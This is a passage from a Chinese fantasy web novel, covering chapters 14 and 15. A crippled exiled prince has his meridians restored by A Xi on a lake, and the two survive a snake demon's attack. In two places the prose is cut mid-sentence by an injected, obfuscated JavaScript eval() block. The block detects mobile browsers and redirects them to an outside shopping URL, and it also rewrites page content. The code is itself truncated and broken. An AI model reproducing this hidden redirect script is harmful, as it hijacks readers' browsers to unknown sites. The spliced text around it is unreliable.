可能是过了最佳清洗时间,经验老道的李大娘也没能把血渍彻底清除,那双绣花鞋上还是留了一个豆大的淡红血迹。 但血渍旁边刚好绣着几朵白紫色的灯笼花,不细看也是看不出来的。大娘将鞋拿给阿兮时,阿兮将鞋面审视了许久,之后没再认真穿过一次。 阿兮每日都会光着脚就去天鹅湖,傍晚才会回来,回来时怀中总会抱着一束鲜花。李大娘偶尔会去她房间瞄几眼,阿兮把花放在窗前,夜晚便会坐在窗前,让月光照着自己红肿带血的双脚。 大娘见了心疼,每当阿兮外出都会盯着她把鞋穿好,可哪知一个不留意她又把鞋给脱了。 阿兮还给大娘说她现在在渡一个人,等渡完了,她和大娘的缘分也就尽了。 李大娘又气又笑,说方圆百里,还真没见过哪家闺女像她这样的。 李大娘走后,祁夜有棠注视着对面紧闭的木门,久久未曾移开。 14. 第 14 章 次日清晨,祁夜有棠听见屋外有动静,往窗外一瞧,见是卷不动和阿兮在说话。 他看着阿兮给了卷不动三片金叶子。 “这是投给你的本钱,条件是,以后你赚的钱七成归我。” “七成太多了!”卷不动手指比个六的姿势,“六......六成?” 阿兮毫不退让:“大娘说钱能生钱,我把金叶子给别人都能得到不少好处,你如今身无分文,真想谈条件就找别人吧!” “七成就七成!” 卷不动迅速将金叶子藏进袖子,笑嘻嘻地道,“姑娘信我,我将来一定会把生意做大做强,将你我的名字远播四境,成为四境之内最最最有钱的人,到时候我一定为姑娘您塑一尊高大金身相,供世人瞻仰。” 大概也没指望他帮自己塑相,阿兮没说话,转身就走了。 还是光着脚! 卷不动拍拍袖兜,几个箭步就冲进了屋:“怎样?小镜镜,你要不要也投点?” 祁夜有棠转动轮子,背对他:“没钱。” 卷不动抱手靠着门框,直摇头:“也是,落难的凤凰不如鸡,你哪里会有钱?” 祁夜有棠横眉,也没理他。 “对了,我听说在人境自立国度的什昉国国主被自己的亲弟弟背叛,为了保全儿子,与王后双双自刎了。也不知那什昉国的太子如今流落到了何方?” “不过我也听说,那国主的亲弟弟也糟了报应,正所谓恶有恶报,也是他活该。” 卷不动别有深意地瞅了一眼轮椅上的人,说完便去了堂屋,头枕双臂,倒向躺椅:“永言配命,自求多福......可惜人呐,总是身不由己!” 此刻,轮椅上的祁夜有棠闭着眼睛,脑中正回想着那日宫中的场景。 他一贯敬仰的三王叔稳立于王座前,用一把沾满鲜血的长剑指着他,笑得肆意又癫狂:“你父王母后并非自刎,他们太顽固了……就是不肯说出你的下落,怎么都不说?他们怎么都不肯说……我……我啊……就用这把剑亲手……亲手了结了他们……” “我亲自了结了他们......” “什昉国不是亡在我手里的,是他......是他......是你那个父亲......” “不......究其根底,是你......” “是你啊......” 是他,用父王给他的匕首将他三王叔一刀封喉。也是因此,他被藏在暗处的巫族人偷袭,才落得如今这个下场。 父王曾告诫过他,叫他无论如何也不要回去,可他还是回去了,他相见他们最后一面。而这最后一面却是三王叔之子连同一个巫族人为他量身而造的陷阱。 他实在不知自己身上有什么值得他人觊觎的东西,那日,他知道了。 他身体里有五千年难遇的五行奇骨,能助修行者扫除万难,登临境界巅峰。 但若这身奇骨能换回父王母后,他一定毫不犹豫地换掉。 * 傍晚时分,阿兮回来了,这次怀里抱着粉嫩的桃花。 卷不动闻着味儿就去了:“阿兮姑娘,小的帮您拿~” 阿兮没看他一眼,绕过他,转道回了房间。 站堂屋里的李大娘指着趴她脚边的一只小黄狗,啐道:“望着干啥?家底都被你这小王八羔子吃干抹净了,再献殷勤也没用。” 卷不动一眼扫过去,这不指桑骂槐呢吗!但他脸皮厚,偏要凑上去:“幸亏多看了一眼,不然我还以为大娘您在说咋们小镜镜呢!” 他捏着小黄狗后颈,拎至眼前:“你这小奶狗,老实招来,家住何方,是何族类,来此所谋何事......” “隔壁的,畜生,抓来防贼的!”李大娘用看智障的眼神瞅了他一眼,转头走了。 卷不动在院子里跟小黄狗互通了下语言,聊了这村子的风水、聊了天荒地老星河苍穹,还用并不存在的法术在小狗身上点来点去。后来他觉得小狗蔫搭搭的没意思了,便活泼乱跳地蹦回了堂屋。 他刚进屋阿兮就出来了。 她仍赤着脚,走下三层台阶,看了蜷缩在柴扉底下的小黄狗一眼便走了过去,蹲下身,与小黄狗懵圈的大眼睛对视了须臾。 突然,她握住了小黄狗前面的两条小短腿。 小黄狗惊得“汪汪”叫,两条后腿也慌乱得打起了架。 听到动静的卷不动和李大娘在屋里悄悄探出头来。 正好看到,那柴扉下的蓝衣少女正对一只受惊的小黄狗露出一个微笑,一个十分僵硬的笑。 但没多久她便松手了,获得自由的小黄狗慌忙大叫,然后跑开。 杵堂屋里暗中观望的两人愣是盯着阿兮走过来,在他们面前拐了个弯,推开了旁边的门。 祁夜有棠有些意外,呆呆地看着这位不请自来的蓝衣少女走到自己身前,就很自然地抬起了他的手。 没有任何预兆,他不明所以地盯着她,呼吸仿佛都有了温度。 “姑娘......做什么?” 阿兮久未作声,将那道依旧很深的血口观察许久,微蹙的眉头才渐渐松散:“明日,天鹅湖,我帮你接通经脉。” 她扔了话就走,跨出门槛偶才想起什么,又回头对屋里的人笑了一下。 只是这笑,祁夜有棠没能接住。 少女的声音仿佛被什么东西绊住,待她走后才进入他的耳中,然后在脑中荡了一遍又一遍。 接通经脉? 可她刚才的那个笑分明和柴扉下吓小黄狗的笑一样生硬! “恭喜你啊,马上就解脱了。” 卷不动骤然出现在门口。 李大娘一手扒开他,脸上笑得不如去日灿烂:“大娘没骗你吧,阿兮姑娘说到做到。” 祁夜有棠心里凸凸的,但不管怎么说,最坏的情况也就现在这样了吧! 翌日午时,卷不动推着祁夜有棠到了天鹅湖。 铺洒在湖面的烈烈阳光将整片湖烘得暖意洋洋,阿兮如之前一般立身于轻舟之上,吹着她的骨笛。 奇怪的是,今日的她竟破天荒穿了那双蓝色绣花鞋。 见人到了,阿兮侧身,将手中的骨笛对准卷不动,神色比以往还要严肃:“你,把他背上来。” 迫于威压,卷不动不敢多言,乖乖照着她的话将祁夜有棠好生放舟上去,顺便还把他的手和腿摆放得规规矩矩的。 “阿兮姑娘,如此,可好?” 他欲求表扬的样子很快被阿兮打回原形:“你可以滚了!” 她这种态度卷不动已经习惯了,倒是祁夜有棠有些突然,虽是诧异,但也没说什么。 小舟驶离柳岸,卷不动蓦地心情大好,努力挥动着双臂,大声喊道:“小镜镜,你一定要平安回来啊,我就在这等你,回来我们一起喝酒啊!” 祁夜有棠微蹙眉头,他手脚虽是残了但耳朵不聋,这些日那些大嗓门的风凉话他是听得一清二楚。若非是几片金叶子的利益牵扯,他的待遇定是不如那只小黄狗的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497725|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这话听听便罢了,这个世道,他不会再轻易相信任何人。 一片柳叶在眼前飘飘下旋,他才注意到竟是铺在水面上的一圈柳叶在推着小舟前进。 而他眼前的阿兮姑娘仍望着柳树那方,斜去眼神很是锋利。 小舟速度很缓,一点也不颠,他看着湖面上有序排列的柳叶划出的道道水纹,终于问道:“姑娘能把我的经脉接上?” “不信我?”阿兮兀地回头。 祁夜有棠吸一口气:“我不信任何人,但姑娘除外!” 阿兮哂笑:“因为我救了你?” 祁夜有棠对上她的视线,认真道:“姑娘救了我不止一次!” 视线交融,阿兮微微倾身,又将目光送近了一寸。小舟在偌大的天鹅湖上静静飘着,这一刻,湖中所有的生灵好似都在帮她辨人眼前人话里的真伪。 “姑娘放在窗前的那些花,我很喜欢。” 祁夜有棠满眼诚挚:“但……姑娘可知,在人族,女子送男子鲜花意味着什么?” 阿兮的眉眼慢慢变得柔软,她的视线忽地下滑,落至他的胸前,那里似乎跳动得很快。 许久,她开口:“那些花,只是顺便罢了。” 祁夜有棠看着她,轻笑道:“好,就当姑娘是顺便了,但姑娘的心意我很是感激。” 阿兮的目光下落至湖面,二人未再有话。 小舟离柳岸越发远了,阿兮观测了湖面的位置,让小舟缓缓停下。 “开始了。” 阿兮霍地闭眼,并起剑指往眼前一扫,绕在小舟边的柳叶迅疾升空,如那日一样,围着二人旋转。 她掀开祁夜有棠的袖口、裤脚,让露出手腕和脚腕。下一刻,她的剑指上多了一朵桃花,她把桃花放在他的手腕上,如此再往复三次,他的双手双脚上都各有了一朵桃花。 随即,二人眼前飘来四片柳叶,阿兮手指如刀,只比划了两下,那四片柳叶便只剩下了中间最粗的叶脉。 “现在我要将你断了的经脉连起来,扎在你的手骨、脚骨上。” “有些疼,忍一下!” 未等祁夜有棠说话,四根叶脉便以桃花为靶,如针一般扎入其中。 他的骨头似乎都被这柳针刺破了。 太疼了,他已经听不到外界任何声音,只狠狠咬牙,硬是把这痛处忍了下来。 等他不那么痛了,阿兮顿在空中的手再次扬起剑指。 如刚才一样,飘来的四片柳叶被剃了叶肉,四根柳针再次落下。 “啊~” 祁夜有棠整个身体都在颤抖。 阿兮静静看着他,手上不再有任何动作,等他胸口平静下来才道:“现在帮你疏通经络。” 祁夜有棠眼下就是一只砧板上的鱼肉,也便任她去了。 一股温热的气流从他的手腕进入,流向他的手臂、心脏、然后四肢百骸。 好像,没那么痛了。 他缓缓睁眼,面前的少女正闭着眼,两排长长的睫毛如雏鸦之羽一样落在眼睑上,就是泛红的两靥也掩盖不了她身上独特的清冷之感。 这一刻,他突然有些后悔刚才说的那些话了。 微风拂过他的眼睛,竟有些扎眼。 未久,平稳的小舟猛然晃动起来。 “他的手脚已然废了,你帮他打通经脉也没用!” 小舟不远处的湖心,从上落下一名身着宽大紫袍的白发男子,踏水传音过来:“不如交给本君,这样他还能有点用。” 15. 第 15 章 祁夜有棠见来人额上有墨色纹路,便猜测是妖族某位大妖,一时心惊。 “不要分心!” 阿兮依旧闭着眼,似乎那个人并不存在。 但那边的声音却在加重:“尔等小娃,竟敢无视本君?” 小舟四方的水汇聚成汩,如长蛇游路一般蜿蜒过来。 小舟变得更颠簸了,阿兮伸手按住木沿,以舟底为圆心猛然冲出的圆形气流瞬间将那些聚汩的水蛇冲散。 与此同时,她的指尖在柳叶上比划了几下,像在写字,写完便甩向湖心,小小的柳叶飞得极快,就如高阶弓箭手射出的箭矢一般。 不过须臾,湖心那处出现一面水墙,挡了柳叶的路。 阿兮手指一旋,那片柳叶如她手势,竟在水墙中心画出了一个大圈,圈内的水如瀑布般哗哗下泄。同时,那画圈的柳叶穿墙而过,正中紫袍人掌心。 不知发生了什么,紫袍人瞅一眼柳叶之后脸色也青了,变得尤为暴躁。他再次聚起一面水墙,推向小舟。 阿兮依旧稳如山岳,如刚才一般,甩出一片柳叶轻松化解。 镂空的水墙穿舟而过,扑了个空。 一片被水墙带过来的柳叶黏在了小舟上,祁夜有棠看得分明,上面写着“灵蛇老妖不干人事”。 他下意识瞥了眼对面的少女,见她从容应对着灵蛇老妖的攻击,似乎......毫不费力。 “看来对你们还是太仁慈了!” 灵蛇老妖朝天一吼,湖面风浪乍起,好似有一股强大的力量在撬动着小舟。 阿兮冷不防看一眼祁夜有棠,先前的从容淡定顿时消失得无影无踪:“别怕,我陪你一起死!” 山峰到山底,似乎不过一瞬,祁夜有棠的脑袋是懵的,直到湖水呛入鼻腔才反应过来这一切都是真的。 小舟破裂,他和阿兮都掉入了湖中,而阿兮......就在离他一丈远的位置,她正努力挣扎着,看似并不会水。 “阿~” 他想唤她,但灌入嘴里的水没有给他这个机会,触不到实物的他胡乱地挥动着四肢。 湖上面明明有光耀射下来,可他眼前却阵阵发黑,只感觉到自己在下沉,阿兮也在他的眼里下沉。 直到阿兮从他的视野彻底掉落,他的挣扎才有了作用。 冰冷的湖水中,他的手脚似乎在被火焰炙烤,一股滚烫的热流猛然席卷他的全身,也让他的身体意外往上送了送。 他的手和脚竟然有了一丝知觉。 什么都没想,他立刻调转方向。 此刻,下方的阿兮已经闭上了眼睛,双臂微开,没有任何挣扎的迹象,她周身的水更是安静得可怕。 再快一些! 祁夜有棠蹬水向下,拼尽全力游向她。 她太安静了,全然没有了原先骄傲的样子,想起她最后对自己说的那句话,他愧疚不已。 即便是他的心没有以前纯澈了,但他还是有良知的。 刚才还在跟自己说别怕的人竟然真的要陪自己一起死,她怎么能陪他一起死? 小舟上他对她说的那些话不过是在刻意引导,意图让她更在意自己一些。他动不了,也不相信她能治好自己的手脚,但有了她的庇护,他这个无人在意的废人至少能够在这四境天下多活上一日。 而这些,全是因李大娘的那句“心上人”给他提供的思路。 即便使上连自己以前也唾弃的手段! 但他没想到,这个傻姑娘会为了他连命也不要了。方才她只要将他交给灵蛇老妖,她是可以全身而退的。 他骗了一个姑娘的真心! 无尽的懊悔让他的胸腔传来阵阵痛感。 此刻,他脑袋里想的全是她不能死,她必须活着! 差一点就能抓住她的手了。 本已耗尽力气的他身体突然迸发出无限潜力,将那沉睡的少女一把拉入自己怀中,穷尽一切力量朝头顶的那片光亮游去。 * “姑娘。” “阿兮姑娘?” “阿兮......” 湿漉漉的草地上,阿兮的眼睫微不可察地颤了颤。 祁夜有棠恍惚一瞬,怕是自己的错觉,又在少女耳前连着唤了好一阵。 两个时辰过去,他实在没力气了,累得倒在了阿兮旁边,看着阳光爬过他们的身体,黑夜降临。 湖水静悄悄的,草丛里的虫鸣不曾断绝。他的脑海中出现了许多画面,三王叔叛变,妖族破城,母后以死逼他离开,还有那个在城墙上用身体为他挡下冷箭的少女。曾经那些挥之不去的画面就如走马灯一般从他眼前一一闪过。 他什么也做不了,他在乎的人,在乎他的人,谁也救不了! 连萍水相逢的阿兮,他也救不了。 手脚虽已恢复,但他始终开心不起来。 天空上有三颗亮闪闪的星星,黑雾一样的云层许久才放出一弯镰月。 灵蛇老妖应该就快找来了吧! 他还是会死。 那么,先把阿兮姑娘埋了吧!这么漂亮的姑娘,不能让她一个人躺在这里。 他将外衫脱下,搭在少女身上,往上拉起时他的手顿了顿,再轻手盖过。下一刻,他撑起疲惫的身体,选了一块小碎花多的土地,徒手便挖了起来。 “你在干什么?” 听见熟悉的声音,他不禁身体一僵,手指像是被泥土咬住,竟拔不出来了。 “阿......兮?” 他缓缓转头。 然那刚才已断气的少女正半坐在他的身后,他的那件布衣已滑落在了她的腰间。 有月光洒落的湖水在她的身后,月华点点,耀闪在她那张不饰言笑的脸上。 阿兮看着他的手:“你的手......好了?” 对面的人没有反应。 片刻,阿兮将头侧向湖面:“我没那么容易死!” 祁夜有棠眼神瞬间清明,也侧过头去,忙将一双染了污泥的手背在身后,慌乱道:“姑娘刚才已经没有了呼吸,所以我才......” 要挖坑埋了? 这几个字,他说不出口,憋了半天才道:“没事就好~” 阿兮翻开布衣,站起身,把布衣递过去却不看他,只远远眺着湖面:“我虽不会水,但会闭气,只要不是太久,都会没事。况且,若是遇险,我用柳叶布下的挪移阵也会将我们推上水面。” 这貌似是认识她以来她对自己说过的最长的一句话,祁夜有棠错愕地接过自己的布衣,倏忽想起她在湖中挣扎时的样子,问道:“所以姑娘的那句‘陪我一起死’只是......只是为了试探我?” 阿兮没有承认也没有否认:“灵蛇老妖说的不错,我虽打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497726|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通了你的经脉,但断过的经脉并不容易恢复,只有靠你自己。” 她接着说道:“曾经的花奴和你一样,我尝试过很多种办法,都没用。后来它意外掉进了水中,水真是一剂猛药,它竟然自己爬上了岸。” 祁夜有棠有种不好的预感:“花奴是?” “捡来的一只狗!”阿兮直言道。 祁夜有棠仿佛又呛了一口水,如他所想,她昨日其实就是在透过那只小黄狗看他。 他咽了咽喉咙,忽然道:“如果失败了怎么办?我没有如你期待的那样……没有把你从水中救上来?” 阿兮眼神坚定:“花奴能做到,你也一定能做到。” 祁夜有棠却是僵住了,好一会才开口:“素昧平生,姑娘何至于此?” 阿兮转身,看着他,唇角将起未起。 清风徐来,吹动着她额边一缕碎发:“绝境求生,一念自渡。别人不会一直帮你,水火之中,你得自救!” 祁夜有棠愕然一怔,轻声询问道:“姑娘要离开了吗?” 阿兮轻轻“嗯”了一声。 祁夜有棠视线下沉:“姑娘要去找第一百个要渡的人了?” 阿兮看了他一眼,然后转身:“保重。” 虫子的鸣叫声在他耳中长鸣,阿兮走了。 一丈、两丈…… “阿兮姑娘,我可以成为你的第一百个吗?” 祁夜有棠向那蓝衣姑娘高声喊道。 藏在暗色云层里的月亮完全出来了,摇曳在湖面上的星星也愈发多了。 星星晃了许久,那少女才肯转过身来:“不能是一个人!” 祁夜有棠反应极快:“那还是第九十九,可以吗?” 阿兮凝视着他,没有说话。 “姑娘走后我定还会被他们抓了去,如今我什么都没有了,我不怕死。但只一事在我心中久久不去,姑娘可否等我完成这一事之后再离开?姑娘是我的救命恩人,我知道不该对姑娘提出此等妄言,但这件事于我而言,比命还重。” “......求姑娘帮我!” 静立在月光下的少女许久未曾有话,月光照在她的脸上,葱郁的枝叶又遮去了她的半边脸。 她安静地看着他,他热烈地等待着她。 最后阿兮低了头。 她的目光落在祁夜有棠的膝盖上,淡淡问道:“求人办事,为何不跪?” 祁夜有棠身形一顿,思绪在脑中碰撞了好一阵。他想过她所有可能的回答,但没想到她会这么回答。 他向她确认:“姑娘让我下跪?” 阿兮眼神陷入怀疑:“求我办事的人都会向我下跪。” 祁夜有棠紧抓着方才她递过来的布衣,一咬牙,跪在了自己的布衣上,垂低了眼眸:“请姑娘帮我!” 不远处的阿兮微微一怔,好似想起什么,她快步走至他身前,抬起他的手臂,声线意外柔和了些许:“你应该……也只跪父母吧!” 祁夜有棠缓缓抬眼,眸中也似有了星星:“姑娘救我一命,这一跪姑娘受得!” “我答应你。”阿兮忽然道,“我帮你,在此期间我护你周全,但事成之后我还是会走的。” 她眼神诚恳,与之前那生人勿近的她可以说是判若两人。 这一刻,祁夜有棠在心中有了自己的猜想:这位姑娘其实挺简单的!